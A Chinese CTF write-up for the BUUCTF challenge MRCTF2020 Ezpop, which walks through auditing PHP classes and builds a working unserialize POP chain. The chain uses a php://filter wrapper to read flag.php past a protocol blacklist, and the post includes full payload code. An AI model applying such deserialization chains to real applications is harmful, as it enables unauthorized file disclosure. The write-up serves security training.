BUUCTF 33

知识点

33-1 [MRCTF2020]Ezpop

做题思路

审计代码,提示flag在flag.php

反序列化直接分析,构造pop链

1.先分析第一个类,Modifier类

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

append方法里面有内置函数include,包含$value值。__invoke方法是当脚本尝试将对象调用为函数时触发

2.show类

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

__construct方法,接收参数$file,$this->source = $file将$file的值赋给source。而$file的值直接就是inde.php,所以还是输出index.php。
__toString方法,当前对象访问str再访问source,然后返回这个值,就是把类当作字符串使用时触发
__wakeup方法,使用反序列化的时候触发,而这里同时也可以触发__toString方法。里面有waf,过滤一些协议,但是显而易见可以用filter.

3.Test类

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

__construct方法,把p对象变成一个数组。
__get方法,从不可访问的属性中读取数据会触发

4.payload构造思路
Modifier类,先把$var的值写成伪协议读源码

show类,这是pop链最开始,使用反序列化触发__wakeup__wakeup直接触发__toString,然后访问source触发__get

Test类,p实例化为Modify

payload

<?php
class Modifier {
    protected  $var = "php://filter/convert.base64-encode/resource=flag.php";
}

class Show{
    public $source;
    public $str;
    public function __construct($file){
        $this->source = $file;
      
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier();
    }
}
$o = new Show('aaa');
$o->str= new Test();
$mlz = new Show($o);
echo urlencode(serialize($mlz));

5.得到flag

利用在线PHP工具得到

然后传入变量pop得到

最后base64解密得到flag

借鉴自 WP

33-2 [CISCN2019 华北赛区 Day1 Web2]ikun

做题思路

原谅我,下次再回头写这题吧,感觉有点懵

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值